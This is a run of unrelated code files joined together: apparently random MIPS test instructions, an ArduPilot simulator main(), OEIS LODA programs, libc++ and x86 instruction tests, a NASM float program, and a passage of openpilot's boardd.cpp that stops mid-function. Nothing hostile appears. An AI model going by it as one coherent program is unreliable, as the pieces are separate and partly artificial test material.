$4,$4,15347 srl $3,$5,31 addiu $3,$4,11605 and $5,$3,$3 sw $3,12($0) or $1,$5,$3 addiu $3,$3,-26166 or $5,$5,$3 sltiu $3,$3,12040 lw $3,0($0) xori $4,$5,64326 srlv $5,$5,$3 xori $3,$4,49608 sra $4,$4,25 srlv $3,$6,$3 sra $5,$5,1 or $4,$0,$3 slti $4,$4,-3963 sltiu $0,$3,5696 addu $5,$3,$3 slti $3,$0,-13381 subu $4,$0,$3 sw $4,16($0) sra $4,$4,14 nor $5,$3,$3 and $5,$5,$3 addiu $0,$0,6127 subu $0,$4,$3 srav $3,$6,$3 sw $6,4($0) sltiu $4,$4,8104 slti $1,$3,-26693 sra $4,$2,2 slti $0,$0,-23204 sltu $5,$5,$3 sh $6,0($0) and $3,$4,$3 xor $4,$2,$3 sb $1,12($0) nor $6,$4,$3 lhu $5,14($0) lbu $4,6($0) sltu $3,$3,$3 sra $5,$5,2 and $6,$4,$3 slti $3,$5,-14564 srl $3,$3,8 sh $5,2($0) sra $0,$0,15 subu $5,$5,$3 slti $3,$5,-3238 and $3,$0,$3 sll $3,$3,21 subu $1,$1,$3 or $1,$4,$3 lh $4,14($0) sltu $3,$3,$3 sltu $3,$3,$3 addiu $4,$4,28986 sltiu $3,$4,-14080 sll $3,$3,15 sltiu $1,$3,-18864 sh $4,2($0) andi $4,$4,36215 sllv $3,$5,$3 and $4,$3,$3 and $4,$1,$3 sra $3,$3,21 andi $1,$4,34677 addiu $1,$3,12967 slti $4,$6,32473 addu $6,$4,$3 addu $3,$3,$3 lw $5,8($0) sw $3,12($0) sltiu $3,$6,-759 slti $0,$0,-12225 nor $3,$3,$3 srlv $3,$2,$3 srl $3,$4,23 subu $3,$4,$3 lw $5,8($0) addiu $4,$3,-32131 sh $6,0($0) srlv $3,$6,$3 addiu $0,$0,-13228 and $0,$0,$3 xor $1,$3,$3 slti $0,$3,-2026 sltu $1,$3,$3 lb $5,1($0) xori $3,$3,34183 addu $1,$1,$3 sh $0,16($0) sw $3,4($0) addu $1,$4,$3 sllv $1,$5,$3 xori $3,$5,27809 xori $3,$3,16023 and $5,$5,$3 slt $0,$0,$3 slti $3,$3,-22848 xori $3,$3,11342 andi $1,$1,24358 addiu $5,$2,22815 lbu $1,8($0) sltu $3,$1,$3 sltiu $0,$1,25475 lw $4,4($0) sh $5,4($0) sb $1,7($0) sw $3,0($0) addu $3,$3,$3 addu $5,$3,$3 sllv $3,$3,$3 lw $3,8($0) sb $3,8($0) addiu $5,$4,2571 slt $4,$3,$3 sw $3,8($0) andi $5,$6,49958 addu $5,$4,$3 lw $3,4($0) sb $4,8($0) subu $3,$3,$3 or $1,$1,$3 subu $0,$4,$3 sh $5,12($0) srav $0,$3,$3 subu $5,$5,$3 andi $6,$1,40003 sltiu $3,$3,16683 slti $4,$5,-22672 ori $1,$5,61592 lb $4,2($0) and $4,$4,$3 subu $1,$1,$3 xor $5,$5,$3 sra $4,$4,13 addu $3,$3,$3 sltu $5,$0,$3 srl $3,$3,14 sw $3,8($0) srav $4,$6,$3 sb $5,4($0) sb $4,4($0) sra $3,$4,26 xori $1,$5,50293 and $4,$4,$3 andi $1,$0,2946 subu $3,$5,$3 sh $3,4($0) sll $5,$4,27 sltu $3,$3,$3 srav $3,$0,$3 lw $1,8($0) lhu $0,0($0) slt $4,$4,$3 lb $0,3($0) addu $0,$5,$3 lh $1,12($0) lw $5,12($0) ori $1,$6,35446 slt $1,$3,$3 lh $4,4($0) lh $6,12($0) or $4,$0,$3 sltiu $0,$5,13384 lh $3,14($0) subu $3,$3,$3 lb $5,11($0) lh $1,0($0) lw $4,12($0) sb $0,14($0) addu $6,$4,$3 addu $3,$1,$3 nor $5,$3,$3 addiu $3,$3,28434 xori $4,$5,1321 or $3,$4,$3 subu $0,$5,$3 lh $3,6($0) srlv $3,$2,$3 sllv $3,$3,$3 subu $4,$3,$3 srav $2,$2,$3 sllv $3,$3,$3 xor $3,$2,$3 slt $5,$1,$3 sllv $3,$5,$3 lbu $4,6($0) lhu $4,2($0) addiu $3,$3,-8010 nor $3,$1,$3 andi $4,$1,53987 addu $3,$4,$3 or $3,$4,$3 sw $1,16($0) xori $3,$3,9818 srl $5,$1,27 sltiu $5,$5,-24448 sllv $3,$5,$3 sh $6,2($0) sh $6,6($0) sra $1,$4,11 srav $6,$5,$3 addu $5,$3,$3 nor $3,$3,$3 lbu $5,7($0) subu $4,$3,$3 sw $1,8($0) xor $3,$4,$3 lhu $0,2($0) lw $6,16($0) addiu $6,$3,-17818 sw $5,4($0) lh $3,16($0) lbu $6,13($0) addu $4,$2,$3 and $3,$1,$3 and $1,$4,$3 sra $3,$3,24 lb $1,8($0) lh $4,6($0) subu $3,$6,$3 srav $5,$4,$3 or $4,$4,$3 addu $1,$5,$3 sb $3,11($0) xori $6,$6,15797 addu $6,$1,$3 sltiu $4,$4,-31884 sltu $4,$4,$3 ori $3,$3,57190 sh $4,8($0) sltiu $5,$4,-24041 srav $0,$3,$3 srav $3,$3,$3 subu $4,$6,$3 ori $3,$3,14416 sltiu $5,$4,8995 andi $3,$3,6816 ori $4,$4,1976 addiu $1,$4,-26696 sw $3,8($0) addiu $3,$4,27733 srav $0,$5,$3 lhu $3,8($0) andi $4,$6,9227 addiu $3,$3,-14861 sll $6,$4,28 sltiu $6,$6,21400 xor $6,$3,$3 sw $6,4($0) slt $3,$3,$3 xor $2,$2,$3 ori $4,$6,52488 or $4,$5,$3 xori $4,$4,61733 ori $5,$3,24413 srlv $4,$3,$3 lh $1,14($0) sllv $0,$3,$3 subu $0,$3,$3 lbu $1,8($0) nor $1,$1,$3 addu $3,$1,$3 andi $5,$6,53297 addiu $5,$6,11717 sb $6,1($0) subu $4,$0,$3 lb $4,1($0) ori $1,$4,13693 srlv $4,$4,$3 srlv $4,$4,$3 sb $4,14($0) andi $6,$0,36521 lb $3,2($0) nor $4,$4,$3 xor $3,$3,$3 slt $4,$6,$3 sw $5,16($0) sb $2,16($0) andi $5,$4,31502 sltu $1,$1,$3 addu $0,$4,$3 lb $4,16($0) addiu $0,$0,-28843 slti $0,$0,-21922 addiu $3,$4,-25617 subu $5,$4,$3 sll $4,$1,20 addu $4,$1,$3 sll $1,$1,20 addu $5,$1,$3 srlv $5,$3,$3 xori $1,$0,43043 xori $0,$5,24876 xori $3,$6,20020 sllv $1,$4,$3 addu $1,$1,$3 slt $3,$1,$3 subu $6,$4,$3 sltiu $6,$4,-24363 xor $3,$2,$3 srlv $0,$1,$3 srav $3,$3,$3 subu $1,$1,$3 sh $0,2($0) xori $1,$1,45907 andi $3,$3,60008 and $5,$5,$3 addiu $3,$4,5051 subu $3,$4,$3 sllv $4,$4,$3 sw $3,0($0) lh $1,8($0) lh $0,12($0) nor $0,$0,$3 addiu $3,$4,15703 addu $1,$1,$3 sltu $4,$0,$3 subu $4,$4,$3 sll $4,$4,21 slt $4,$4,$3 sh $5,10($0) andi $3,$4,29344 and $1,$3,$3 lhu $3,14($0) xori $4,$3,37343 nor $3,$5,$3 sltu $4,$1,$3 ori $0,$3,56402 lh $5,12($0) andi $1,$1,11605 sb $3,12($0) and $5,$5,$3 xori $5,$5,11309 lhu $6,4($0) or $6,$3,$3 lhu $1,14($0) addiu $3,$4,-21371 lbu $3,9($0) addu $3,$0,$3 sllv $1,$3,$3 sltu $1,$1,$3 slti $3,$3,-24694 sllv $3,$4,$3 lw $4,0($0) xor $5,$3,$3 ori $0,$4,24093 sllv $3,$3,$3 sw $1,8($0) ori $6,$3,9382 sltu $0,$0,$3 ori $5,$4,57149 and $4,$2,$3 srav $3,$3,$3 lb $3,12($0) sltu $3,$1,$3 andi $5,$5,38173 xori $6,$3,65349 sll $4,$3,25 ori $0,$2,8940 ori $4,$0,35255 subu $4,$4,$3 sb $4,1($0) lh $5,0($0) addiu $4,$1,-16261 addu $6,$1,$3 nor $3,$3,$3 subu $3,$4,$3 lh $4,0($0) and $3,$3,$3 subu $5,$4,$3 subu $3,$4,$3 lhu $3,8($0) addiu $5,$5,-16165 addiu $5,$5,11314 lw $4,12($0) lw $1,16($0) subu $1,$5,$3 sltiu $1,$1,-18413 nor $3,$4,$3 sh $1,4($0) sra $4,$4,21 sllv $0,$4,$3 sltu $3,$3,$3 subu $0,$3,$3 srav $4,$3,$3 lw $3,0($0) lhu $4,6($0) srl $0,$1,1 srav $4,$0,$3 addiu $0,$4,-13825 srav $4,$4,$3 subu $6,$5,$3 sltu $6,$3,$3 ori $0,$3,41292 xori $5,$6,43307 xor $6,$5,$3 addiu $3,$3,2765 sra $3,$4,25 sra $4,$4,19 and $4,$4,$3 xori $5,$5,17298 sll $3,$5,26 slti $4,$4,21020 andi $5,$3,58739 ori $3,$3,7530 or $3,$3,$3 and $5,$6,$3 sll $4,$4,3 lw $0,0($0) andi $1,$4,51412 xor $5,$0,$3 subu $1,$2,$3 subu $4,$1,$3 sltu $1,$4,$3 sh $3,14($0) srl $5,$3,21 xori $3,$5,41265 and $3,$4,$3 srav $3,$3,$3 or $3,$3,$3 sltu $3,$3,$3 srav $1,$4,$3 andi $1,$4,24108 xor $1,$3,$3 addu $4,$5,$3 sra $5,$3,0 andi $6,$3,36102 subu $1,$3,$3 sra $3,$5,12 and $3,$5,$3 subu $1,$1,$3 sllv $6,$1,$3 sh $6,0($0) lh $4,0($0) xor $1,$1,$3 nor $3,$3,$3 lh $4,0($0) srav $3,$4,$3 slt $1,$0,$3 lb $3,14($0) addu $1,$3,$3 sltu $3,$6,$3 addiu $6,$3,7157 and $4,$3,$3 andi $1,$1,59929 sra $1,$3,13 and $5,$3,$3 srlv $4,$3,$3 lh $5,4($0) andi $4,$4,62690 sb $6,5($0) addiu $4,$4,18993 srlv $3,$3,$3 ori $6,$2,11575 sltu $6,$3,$3 addu $0,$3,$3 nor $3,$1,$3 ori $1,$4,61209 lhu $4,10($0) srlv $1,$4,$3 sw $4,0($0) addu $3,$0,$3 addu $4,$2,$3 xori $4,$3,58426 lbu $4,0($0) xor $3,$3,$3 addiu $3,$1,27821 sb $6,16($0) or $4,$1,$3 sb $1,2($0) lhu $3,4($0) addiu $1,$6,-29804 sh $0,14($0) slt $3,$0,$3 andi $6,$6,49873 lhu $4,2($0) lbu $3,12($0) addu $3,$2,$3 sb $5,5($0) sltiu $5,$4,13138 addiu $0,$4,-8344 nor $6,$4,$3 sllv $0,$3,$3 sra $1,$3,29 addiu $3,$3,-5617 andi $3,$3,6529 lb $1,13($0) sra $3,$3,19 slti $4,$4,24803 sll $0,$0,20 sltu $5,$5,$3 addu $6,$5,$3 addiu $1,$3,32110 sra $5,$5,25 sra $4,$6,14 lhu $1,0($0) addu $6,$0,$3 lh $3,10($0) srl $6,$2,12 slt $4,$1,$3 lb $5,9($0) lhu $6,2($0) ori $1,$3,53347 xor $1,$3,$3 andi $3,$6,61439 lb $0,12($0) srl $4,$5,6 sllv $1,$3,$3 slti $3,$4,-10330 xor $3,$4,$3 ori $3,$4,53062 and $1,$5,$3 lw $3,0($0) srav $1,$3,$3 srl $4,$4,21 lbu $6,1($0) addiu $1,$3,-19731 srl $1,$1,5 subu $5,$4,$3 lw $1,0($0) srav $5,$6,$3 ori $6,$6,36577 or $3,$4,$3 subu $3,$4,$3 andi $0,$1,54709 subu $6,$3,$3 sra $3,$4,19 addiu $3,$4,28421 and $3,$3,$3 subu $4,$4,$3 addu $3,$0,$3 sb $4,2($0) sb $3,10($0) srlv $4,$1,$3 addu $5,$0,$3 or $3,$3,$3 addu $3,$0,$3 srlv $0,$3,$3 sh $4,8($0) xori $3,$3,1902 srl $3,$3,3 sb $3,7($0) nor $4,$5,$3
#include <stdio.h> #include <unistd.h> #include <time.h> #include <sys/time.h> #include <sched.h> #include <wiring.h> #include <getopt.h> #include <signal.h> #include <string.h> #include <AP_Common.h> #include <AP_Param.h> #include "desktop.h" void setup(void); void loop(void); // the state of the desktop simulation struct desktop_info desktop_state; // catch floating point exceptions static void sig_fpe(int signum) { printf("ERROR: Floating point exception\n"); exit(1); } static void usage(void) { printf("Options:\n"); printf("\t-s enable CLI slider switch\n"); printf("\t-w wipe eeprom and dataflash\n"); printf("\t-r RATE set SITL framerate\n"); printf("\t-H HEIGHT initial barometric height\n"); printf("\t-C use console instead of TCP ports\n"); } int main(int argc, char * const argv[]) { int opt; // default state desktop_state.slider = false; gettimeofday(&desktop_state.sketch_start_time, NULL); signal(SIGFPE, sig_fpe); while ((opt = getopt(argc, argv, "swhr:H:C")) != -1) { switch (opt) { case 's': desktop_state.slider = true; break; case 'w': AP_Param::erase_all(); unlink("dataflash.bin"); break; case 'r': desktop_state.framerate = (unsigned)atoi(optarg); break; case 'H': desktop_state.initial_height = atof(optarg); break; case 'C': desktop_state.console_mode = true; break; default: usage(); exit(1); } } printf("Starting sketch '%s'\n", SKETCH); if (strcmp(SKETCH, "ArduCopter") == 0) { desktop_state.vehicle = ArduCopter; if (desktop_state.framerate == 0) { desktop_state.framerate = 200; } } else if (strcmp(SKETCH, "APMrover2") == 0) { desktop_state.vehicle = APMrover2; if (desktop_state.framerate == 0) { desktop_state.framerate = 50; } // set right default throttle for rover (allowing for reverse) ICR4.set(2, 1500); } else { desktop_state.vehicle = ArduPlane; if (desktop_state.framerate == 0) { desktop_state.framerate = 50; } } sitl_setup(); setup(); while (true) { struct timeval tv; fd_set fds; int fd_high = 0; #ifdef __CYGWIN__ // under windows if this loop is using alot of cpu, // the alarm gets called at a slower rate. sleep(5); #endif FD_ZERO(&fds); loop(); desktop_serial_select_setup(&fds, &fd_high); tv.tv_sec = 0; tv.tv_usec = 100; select(fd_high+1, &fds, NULL, NULL, &tv); } return 0; }
; A116702: Number of permutations of length n which avoid the patterns 123, 3241. ; Submitted by Jon Maiga ; 1,2,5,13,32,74,163,347,722,1480,3005,6065,12196,24470,49031,98167,196454,393044,786241,1572653,3145496,6291202,12582635,25165523,50331322,100662944,201326213,402652777,805305932,1610612270,3221224975,6442450415,12884901326,25769803180,51539606921,103079214437,206158429504,412316859674,824633720051,1649267440843,3298534882466,6597069765752,13194139532365,26388279065633,52776558132212,105553116265414,211106232531863,422212465064807,844424930130742,1688849860262660,3377699720526545 lpb $0 sub $0,1 add $2,2 add $2,$0 mul $3,2 add $3,3 lpe sub $3,$2 mov $0,$3 add $0,1
//===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // <chrono> // time_point // time_point& operator+=(const duration& d); #include <chrono> #include <cassert> int main() { typedef std::chrono::system_clock Clock; typedef std::chrono::milliseconds Duration; std::chrono::time_point<Clock, Duration> t(Duration(3)); t += Duration(2); assert(t.time_since_epoch() == Duration(5)); }
; A250128: Number of triforces generated at iteration n in a Koch-Sierpiński Ninja Star. ; Submitted by Jamie Morken(s4) ; 0,1,3,9,30,96,309,996,3207,10329,33267,107142,345072,1111371,3579384,11528097,37128459,119579361,385128390,1240380240,3994883733 add $0,1 mov $2,1 lpb $0 sub $0,1 mul $1,2 add $1,$4 add $1,$3 mul $2,3 mov $4,$3 mov $3,$2 mov $2,$1 lpe mov $0,$2 div $0,3
; A210616: Digit reversal of n-th semiprime. ; Submitted by Jamie Morken(w3) ; 4,6,9,1,41,51,12,22,52,62,33,43,53,83,93,64,94,15,55,75,85,26,56,96,47,77,28,58,68,78,19,39,49,59,601,111,511,811,911,121,221,321,921,331,431,141,241,341,541,641,551,851,951,161,661,961,771,871,381,581,781,491,102,202,302,502,602,902,312,412,512,712,812,912,122,622,532,732,742,942,352,452,952,262,562,762,472,872,782,982,192,592,892,992,103,203,303,503,903,413 seq $0,1358 ; Semiprimes (or biprimes): products of two primes. seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS=FLAG_CF|FLAG_OF|FLAG_PF|FLAG_SF|FLAG_AF ;TEST_FILE_META_END ; BSR16rr mov ax, 0x0800 ;TEST_BEGIN_RECORDING bsr bx, ax ;TEST_END_RECORDING
// // RYCountdown.hpp // Mine-mobile // // Created by ray on 2019/5/21. // #ifndef RYCountdown_hpp #define RYCountdown_hpp #include "ccry-util.h" RY_NAMESPACE_BEGIN class Countdown { public: static Countdown *create(float duration, int repeatTime, const std::function<void(int)>& onceOverCallback); void update(float dt); void resume(); void pause(); void reset(); bool isPaused(); protected: float _duration; int _repeatTime; float _countdown; bool _foreverRepeat; int _repeatTimeLeft; bool _paused; std::function<void(int)> _onceOverCallback; }; RY_NAMESPACE_END #endif /* RYCountdown_hpp */
; A328034: a(n) = 3n minus the largest power of 2 not exceeding 3n. ; 1,2,1,4,7,2,5,8,11,14,1,4,7,10,13,16,19,22,25,28,31,2,5,8,11,14,17,20,23,26,29,32,35,38,41,44,47,50,53,56,59,62,1,4,7,10,13,16,19,22,25,28,31,34,37,40,43,46,49,52,55,58,61,64,67,70,73,76,79,82,85,88,91,94,97,100,103,106,109 mov $2,$0 mul $0,2 mov $3,1 mov $4,2 mov $5,$2 mov $2,$0 lpb $2,1 add $5,1 lpb $4,1 gcd $0,2 sub $0,1 add $5,$2 mov $2,$5 sub $4,$3 lpe add $0,$5 mov $3,$0 lpb $5,1 sub $5,2 mov $1,$5 mul $5,2 trn $5,$3 lpe mov $2,1 lpe div $1,2 add $1,1
section .data msg1 : db 'Enter first number: ',10 l1 : equ $-msg1 msg2 : db 'Enter second number: ',10 l2 : equ $-msg2 formate1 : db '%lf',0 formate2 : db 'Multiply of these two numbers is: %lf',10 section .bss temp : resq 1 section .text global main extern scanf extern printf main: mov eax,4 mov ebx,1 mov ecx,msg1 mov edx,l1 int 80h call read_float fstp qword[temp] mov eax,4 mov ebx,1 mov ecx,msg2 mov edx,l2 int 80h call read_float fmul qword[temp] call print_float ffree(ST0) jmp end print_float: push ebp mov ebp,esp sub esp,8 fst qword[ebp-8] push formate2 call printf mov esp,ebp pop ebp ret read_float: push ebp mov ebp,esp sub esp,8 lea eax,[esp] push eax push formate1 call scanf fld qword[ebp-8] mov esp,ebp pop ebp ret end: mov eax,1 mov ebx,0 int 80h
; A168989: Number of reduced words of length n in Coxeter group on 24 generators S_i with relations (S_i)^2 = (S_i S_j)^23 = I. ; 1,24,552,12696,292008,6716184,154472232,3552861336,81715810728,1879463646744,43227663875112,994236269127576,22867434189934248,525950986368487704,12096872686475217192,278228071788929995416 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,23 lpe mov $0,$2 div $0,23
#include "selfdrive/boardd/boardd.h" #include <sched.h> #include <sys/cdefs.h> #include <sys/resource.h> #include <sys/types.h> #include <unistd.h> #include <algorithm> #include <atomic> #include <bitset> #include <cassert> #include <cerrno> #include <chrono> #include <cmath> #include <cstdint> #include <cstdio> #include <cstdlib> #include <future> #include <thread> #include <libusb-1.0/libusb.h> #include "cereal/gen/cpp/car.capnp.h" #include "cereal/messaging/messaging.h" #include "selfdrive/common/params.h" #include "selfdrive/common/swaglog.h" #include "selfdrive/common/timing.h" #include "selfdrive/common/util.h" #include "selfdrive/hardware/hw.h" #include "selfdrive/boardd/pigeon.h" // -- Multi-panda conventions -- // Ordering: // - The internal panda will always be the first panda // - Consecutive pandas will be sorted based on panda type, and then serial number // Connecting: // - If a panda connection is dropped, boardd wil reconnect to all pandas // - If a panda is added, we will only reconnect when we are offroad // CAN buses: // - Each panda will have it's block of 4 buses. E.g.: the second panda will use // bus numbers 4, 5, 6 and 7 // - The internal panda will always be used for accessing the OBD2 port, // and thus firmware queries // Safety: // - SafetyConfig is a list, which is mapped to the connected pandas // - If there are more pandas connected than there are SafetyConfigs, // the excess pandas will remain in "silent" ot "noOutput" mode // Ignition: // - If any of the ignition sources in any panda is high, ignition is high #define MAX_IR_POWER 0.5f #define MIN_IR_POWER 0.0f #define CUTOFF_IL 200 #define SATURATE_IL 1600 #define NIBBLE_TO_HEX(n) ((n) < 10 ? (n) + '0' : ((n) - 10) + 'a') using namespace std::chrono_literals; std::atomic<bool> ignition(false); std::atomic<bool> pigeon_active(false); ExitHandler do_exit; static std::string get_time_str(const struct tm &time) { char s[30] = {'\0'}; std::strftime(s, std::size(s), "%Y-%m-%d %H:%M:%S", &time); return s; } bool check_all_connected(const std::vector<Panda *> &pandas) { for (const auto& panda : pandas) { if (!panda->connected) { do_exit = true; return false; } } return true; } enum class SyncTimeDir { TO_PANDA, FROM_PANDA }; void sync_time(Panda *panda, SyncTimeDir dir) { if (!panda->has_rtc) return; setenv("TZ", "UTC", 1); struct tm sys_time = util::get_time(); struct tm rtc_time = panda->get_rtc(); if (dir == SyncTimeDir::TO_PANDA) { if (util::time_valid(sys_time)) { // Write time to RTC if it looks reasonable double seconds = difftime(mktime(&rtc_time), mktime(&sys_time)); if (std::abs(seconds) > 1.1) { panda->set_rtc(sys_time); LOGW("Updating panda RTC. dt = %.2f System: %s RTC: %s", seconds, get_time_str(sys_time).c_str(), get_time_str(rtc_time).c_str()); } } } else if (dir == SyncTimeDir::FROM_PANDA) { if (!util::time_valid(sys_time) && util::time_valid(rtc_time)) { const struct timeval tv = {mktime(&rtc_time), 0}; settimeofday(&tv, 0); LOGE("System time wrong, setting from RTC. System: %s RTC: %s", get_time_str(sys_time).c_str(), get_time_str(rtc_time).c_str()); } } } bool safety_setter_thread(std::vector<Panda *> pandas) { LOGD("Starting safety setter thread"); // there should be at least one panda connected if (pandas.size() == 0) { return false; } pandas[0]->set_safety_model(cereal::CarParams::SafetyModel::ELM327); Params p = Params(); // switch to SILENT when CarVin param is read while (true) { if (do_exit || !check_all_connected(pandas) || !ignition) { return false; } std::string value_vin = p.get("CarVin"); if (value_vin.size() > 0) { // sanity check VIN format assert(value_vin.size() == 17); LOGW("got CarVin %s", value_vin.c_str()); break; } util::sleep_for(20); } pandas[0]->set_safety_model(cereal::CarParams::SafetyModel::ELM327, 1); std::string params; LOGW("waiting for params to set safety model"); while (true) { if (do_exit || !check_all_connected(pandas) || !ignition) { return false; } if (p.getBool("ControlsReady")) { params = p.get("CarParams"); if (params.size() > 0) break; } util::sleep_for(100); } LOGW("got %d bytes CarParams", params.size()); AlignedBuffer aligned_buf; capnp::FlatArrayMessageReader cmsg(aligned_buf.align(params.data(), params.size())); cereal::CarParams::Reader car_params = cmsg.getRoot<cereal::CarParams>(); cereal::CarParams::SafetyModel safety_model; int safety_param; auto safety_configs = car_params.getSafetyConfigs(); uint16_t alternative_experience = car_params.getAlternativeExperience(); for (uint32_t i = 0; i < pandas.size(); i++) { auto panda = pandas[i]; if (safety_configs.size() > i) { safety_model = safety_configs[i].getSafetyModel(); safety_param = safety_configs[i].getSafetyParam(); } else { // If no safety mode is specified, default to silent safety_model = cereal::CarParams::SafetyModel::SILENT; safety_param = 0; } LOGW("panda %d: setting safety model: %d, param: %d, alternative experience: %d", i, (int)safety_model, safety_param, alternative_experience); panda->set_alternative_experience(alternative_experience); panda->set_safety_model(safety_model, safety_param); } return true; } Panda *usb_connect(std::string serial="", uint32_t index=0) { std::unique_ptr<Panda> panda; try { panda = std::make_unique<Panda>(serial, (index * PANDA_BUS_CNT)); } catch (std::exception &e) { return nullptr; } if (getenv("BOARDD_LOOPBACK")) { panda->set_loopback(true); } // power on charging, only the first time. Panda can also change mode and it causes a brief disconneciton #ifndef __x86_64__ static std::once_flag connected_once; std::call_once(connected_once, &Panda::set_usb_power_mode, panda, cereal::PeripheralState::UsbPowerMode::CDP); #endif sync_time(panda.get(), SyncTimeDir::FROM_PANDA); return panda.release(); } void can_send_thread(std::vector<Panda *> pandas, bool fake_send) { util::set_thread_name("boardd_can_send"); AlignedBuffer aligned_buf; std::unique_ptr<Context> context(Context::create()); std::unique_ptr<SubSocket> subscriber(SubSocket::create(context.get(), "sendcan")); assert(subscriber != NULL); subscriber->setTimeout(100); // run as fast as messages come in while (!do_exit && check_all_connected(pandas)) { std::unique_ptr<Message> msg(subscriber->receive()); if (!msg) { if (errno == EINTR) { do_exit = true; } continue; } capnp::FlatArrayMessageReader cmsg(aligned_buf.align(msg.get())); cereal::Event::Reader event = cmsg.getRoot<cereal::Event>(); //Dont send if older than 1 second if ((nanos_since_boot() - event.getLogMonoTime() < 1e9) && !fake_send) { for (const auto& panda : pandas) { LOGT("sending sendcan to panda: %s", (panda->usb_serial).c_str()); panda->can_send(event.getSendcan()); LOGT("sendcan sent to panda: %s", (panda->usb_serial).c_str()); } } } } void can_recv_thread(std::vector<Panda *> pandas) { util::set_thread_name("boardd_can_recv"); // can = 8006 PubMaster pm({"can"}); // run at 100hz const uint64_t dt = 10000000ULL; uint64_t next_frame_time = nanos_since_boot() + dt; std::vector<can_frame> raw_can_data; while (!do_exit && check_all_connected(pandas)) { bool comms_healthy = true; raw_can_data.clear(); for (const auto& panda : pandas) { comms_healthy &= panda->can_receive(raw_can_data); } MessageBuilder msg; auto evt = msg.initEvent(); evt.setValid(comms_healthy); auto canData = evt.initCan(raw_can_data.size()); for (uint i = 0; i<raw_can_data.size(); i++) { canData[i].setAddress(raw_can_data[i].address); canData[i].setBusTime(raw_can_data[i].busTime); canData[i].setDat(kj::arrayPtr((uint8_t*)raw_can_data[i].dat.data(), raw_can_data[i].dat.size())); canData[i].setSrc(raw_can_data[i].src); } pm.send("can", msg); uint64_t cur_time = nanos_since_boot(); int64_t remaining = next_frame_time - cur_time; if (remaining > 0) { std::this_thread::sleep_for(std::chrono::nanoseconds(remaining)); } else { if (ignition) { LOGW("missed cycles (%d) %lld", (int)-1*remaining/dt, remaining); } next_frame_time = cur_time; } next_frame_time += dt; } } void send_empty_peripheral_state(PubMaster *pm) { MessageBuilder msg; auto peripheralState = msg.initEvent().initPeripheralState(); peripheralState.setPandaType(cereal::PandaState::PandaType::UNKNOWN); pm->send("peripheralState", msg); } void send_empty_panda_state(PubMaster *pm) { MessageBuilder msg; auto pandaStates = msg.initEvent().initPandaStates(1); pandaStates[0].setPandaType(cereal::PandaState::PandaType::UNKNOWN); pm->send("pandaStates", msg); } std::optional<bool> send_panda_states(PubMaster *pm, const std::vector<Panda *> &pandas, bool spoofing_started) { bool ignition_local = false; // build msg MessageBuilder msg; auto evt = msg.initEvent(); auto pss = evt.initPandaStates(pandas.size()); std::vector<health_t> pandaStates; for (const auto& panda : pandas){ auto health_opt = panda->get_state(); if (!health_opt) { return std::nullopt; } health_t health = *health_opt; if (spoofing_started) { health.ignition_line_pkt = 1; } ignition_local |= ((health.ignition_line_pkt != 0) || (health.ignition_can_pkt != 0)); pandaStates.push_back(health); } for (uint32_t i = 0; i < pandas.size(); i++) { auto panda = pandas[i]; const auto &health = pandaStates[i]; // Make sure CAN buses are live: safety_setter_thread does not work if Panda CAN are silent and there is only one other CAN node if (health.safety_mode_pkt == (uint8_t)(cereal::CarParams::SafetyModel::SILENT)) { panda->set_safety_model(cereal::CarParams::SafetyModel::NO_OUTPUT); } #ifndef __x86_64__ bool power_save_desired = !ignition_local && !pigeon_active; if (health.power_save_enabled_pkt != power_save_desired) { panda->set_power_saving(power_save_desired); } // set safety mode to NO_OUTPUT when car is off. ELM327 is an alternative if we want to leverage athenad/connect if (!ignition_local && (health.safety_mode_pkt != (uint8_t)(cereal::CarParams::SafetyModel::NO_OUTPUT))) { panda->set_safety_model(cereal::CarParams::SafetyModel::NO_OUTPUT); } #endif if (!panda->comms_healthy) { evt.setValid(false); } auto ps = pss[i]; ps.setUptime(health.uptime_pkt); ps.setBlockedCnt(health.blocked_msg_cnt_pkt); ps.setIgnitionLine(health.ignition_line_pkt); ps.setIgnitionCan(health.ignition_can_pkt); ps.setControlsAllowed(health.controls_allowed_pkt); ps.setGasInterceptorDetected(health.gas_interceptor_detected_pkt); ps.setCanRxErrs(health.can_rx_errs_pkt); ps.setCanSendErrs(health.can_send_errs_pkt); ps.setCanFwdErrs(health.can_fwd_errs_pkt); ps.setGmlanSendErrs(health.gmlan_send_errs_pkt); ps.setPandaType(panda->hw_type); ps.setSafetyModel(cereal::CarParams::SafetyModel(health.safety_mode_pkt)); ps.setSafetyParam(health.safety_param_pkt); ps.setFaultStatus(cereal::PandaState::FaultStatus(health.fault_status_pkt)); ps.setPowerSaveEnabled((bool)(health.power_save_enabled_pkt)); ps.setHeartbeatLost((bool)(health.heartbeat_lost_pkt)); ps.setAlternativeExperience(health.alternative_experience_pkt); ps.setHarnessStatus(cereal::PandaState::HarnessStatus(health.car_harness_status_pkt)); // Convert faults bitset to capnp list std::bitset<sizeof(health.faults_pkt) * 8> fault_bits(health.faults_pkt); auto faults = ps.initFaults(fault_bits.count()); size_t j = 0; for (size_t f = size_t(cereal::PandaState::FaultType::RELAY_MALFUNCTION); f <= size_t(cereal::PandaState::FaultType::INTERRUPT_RATE_EXTI); f++) { if (fault_bits.test(f)) { faults.set(j, cereal::PandaState::FaultType(f)); j++; } } } pm->send("pandaStates", msg); return ignition_local; } void send_peripheral_state(PubMaster *pm, Panda *panda) { auto pandaState_opt = panda->get_state(); if (!pandaState_opt) { return; } health_t pandaState = *pandaState_opt; // build msg MessageBuilder msg; auto evt = msg.initEvent(); evt.setValid(panda->comms_healthy); auto ps = evt.initPeripheralState(); ps.setPandaType(panda->hw_type); if (Hardware::TICI()) { double read_time = millis_since_boot(); ps.setVoltage(std::atoi(util::read_file("/sys/class/hwmon/hwmon1/in1_input").c_str())); ps.setCurrent(std::atoi(util::read_file("/sys/class/hwmon/hwmon1/curr1_input").c_str())); read_time = millis_since_boot() - read_time; if (read_time > 50) { LOGW("reading hwmon took %lfms", read_time); } } else { ps.setVoltage(pandaState.voltage_pkt); ps.setCurrent(pandaState.current_pkt); } uint16_t fan_speed_rpm = panda->get_fan_speed(); 